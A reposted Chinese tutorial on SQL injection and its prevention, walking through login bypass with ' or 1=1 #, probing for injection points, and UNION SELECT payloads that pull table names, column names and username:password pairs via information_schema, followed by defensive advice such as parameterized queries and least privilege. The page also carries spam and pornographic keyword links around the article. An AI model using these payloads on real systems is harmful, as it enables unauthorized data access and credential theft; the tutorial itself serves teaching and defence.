一区二区三区在线-一区二区三区亚洲视频-一区二区三区亚洲-一区二区三区午夜-一区二区三区四区在线视频-一区二区三区四区在线免费观看

服務器之家:專注于服務器技術及軟件下載分享
分類導航

Mysql|Sql Server|Oracle|Redis|MongoDB|PostgreSQL|Sqlite|DB2|mariadb|Access|數據庫技術|

服務器之家 - 數據庫 - 數據庫技術 - SQL注入的實現以及防范示例詳解

SQL注入的實現以及防范示例詳解

2021-12-10 18:26還會見面嗎? 數據庫技術

SQL注入是比較常見的網絡攻擊方式之一,它不是利用操作系統的BUG來實現攻擊,而是針對程序員編寫時的疏忽,這篇文章主要給大家介紹了關于SQL注入的實現以及防范的相關資料,需要的朋友可以參考下

什么是sql注入

sql注入是指通過構建特殊的輸入篡改原來的sql語句達到攻擊者所需的操作。

sql 注入產生原因

我們訪問動態網頁時往往會向服務器發送請求,服務器向數據訪問層發起 sql 查詢請求,若驗證通過就會執行 sql 語句。如果用戶輸入的數據被構造成惡意sql代碼,如果程序沒有細致地過濾用戶輸入的數據則會使非法數據侵入系統。

登錄案例講解

select * from admin where uname='用戶名' and pwd='密碼'

輸入 'or 1=1 #(–空格或–+或#:注釋掉后面的sql語句)

這時sql語句變為:select * from admin where uname='' or 1=1 # and pwd='密碼',這時sql語句永遠成立,繞過登錄。

基于get方式的sql注入

通過在url中修改對應的id值,為正常數字、大數字、字符(單引號、雙引號、雙單引號、括號)、反斜杠來探測url中是否有注入點。

可登陸到mituan.zone進行測試

1、' '1'' limit 0,1 ' :多了一個單引號

可猜測sql語句為:select login_name,password from admin where id = 'id' limit 0,1

2、' ' limit 0,1 ':多了一個單引號

可猜測sql語句為:select login_name,password from admin where id = id limit 0,1

3、' '1'') limit 0,1 ':多了一個單引號

可猜測sql語句為:select login_name,password from admin where id = ('id') limit 0,1

4、單引號、括號都不報錯說明被接收的是字符串類型' "1"") limit 0,1 ':多了一個雙引號

可猜測sql語句為:select login_name,password from admin where id = ("id") limit 0,1

sql注入利用

1、利用order by判斷字段數

?
1
order by n(n為猜測字段數)--+

以案例一為例

?
1
2
select login_name,password from admin where id = 'id' limit 0,1
用?id=1' order by 11--+

猜測錯誤時則會報錯

SQL注入的實現以及防范示例詳解

此時探測到有3個字段,用?id=0' union select 1,2,3--+探測到login_name在第二列,password在第三列,則第二、三列可利用。

SQL注入的實現以及防范示例詳解

?id=0' union select 1,2,3--+2,3改為user():查看當前mysql登錄用戶名,database():查看當前使用mysql數據庫名,version():查看當前mysql版本,如改為?id=0'union select 1,user(),database()--+ 得到下圖中信息

SQL注入的實現以及防范示例詳解

2、利用union select 聯合查詢,獲取表名。(在使用union select時要將前面的sql語句報錯)

?
1
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

SQL注入的實現以及防范示例詳解

3、利用union select 聯合查詢,獲取字段名。(以上面查詢到的users表為例)

?
1
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

SQL注入的實現以及防范示例詳解

4、利用union select 聯合查詢,獲取字段值。(以上面查詢到的users表為例)

?
1
union select 1,group_concat(username,0x3a,password),3 from users--+ (0x3a為冒號,用來分隔不同字段的值)

SQL注入的實現以及防范示例詳解

如果是地址欄不能顯示信息的post形式則可以在對話框中輸入注入語句

SQL注入的實現以及防范示例詳解
SQL注入的實現以及防范示例詳解
SQL注入的實現以及防范示例詳解
SQL注入的實現以及防范示例詳解
SQL注入的實現以及防范示例詳解
SQL注入的實現以及防范示例詳解

這里使用的方法和在地址欄中的輸入一樣,都是先報錯前面的sql語句再使用union select聯合查詢拿出表中數據

sql 注入的防范方法

  • 對用戶的輸入進行過濾。如:對用戶的輸入進行校驗,可以通過正則表達式、限制長度、對單引號和雙"-"進行轉換等。
  • 編寫程序時不要使用動態拼裝sql,可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取。
  • 不要直接使用管理員權限的數據庫連接,每個應用使用單獨的且權限有限的數據庫。
  • 不要把機密信息直接存放,加密或者hash掉密碼和敏感的信息。
  • 程序的異常信息應該給出盡可能少的提示,最好使用自定義的錯誤信息對原始錯誤信息進行包裝。

總結

到此這篇關于sql注入的實現以及防范的文章就介紹到這了,更多相關sql注入實現及防范內容請搜索服務器之家以前的文章或繼續瀏覽下面的相關文章希望大家以后多多支持服務器之家!

原文鏈接:https://blog.csdn.net/qq_44515800/article/details/117409504

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 草莓视频榴莲视频 | 久久亚洲精品AV成人无 | 关晓彤一级做a爰片性色毛片 | ak福利午夜在线观看 | 成年男女免费视频网站 | 丝瓜污污 | 日韩一级在线观看 | 日本剧情片在线播放中文版 | 99视频精品免费99在线 | 日韩精品一区二区三区中文版 | 变态 另类 人妖小说 | aaa一级特黄| 性色视频免费 | 国产精品原创永久在线观看 | 国产精选之刘婷野战 | 无遮无挡免费视频 | 欧美成人免费草草影院视频 | v视界影院_vsjla | 亚州在线 | 大学生宿舍飞机 free | 韩国男女做性全过程视频 | 免费观看无遮挡www的小视频 | 免费精品在线 | 男人天堂官方网站 | 四虎在线永久免费视频网站 | 特级毛片免费视频观看 | 国内精品福利丝袜视频_速 国内精品91久久久久 | 青草悠悠视频在线观看 | 波多野给衣一区二区三区 | 16男男gaygays | 窝窝午夜精品一区二区 | 亚洲福利一区二区 | 天天狠天天天天透在线 | 香蕉在线精品一区二区 | 国产精品久久久久久久免费大片 | a级黄色片免费 | 欧美三级一区二区 | 91一个人的在线观看www | 99热这里只有精品国产在热久久 | 含羞草传媒一天免费看下 | 欧美8x8x|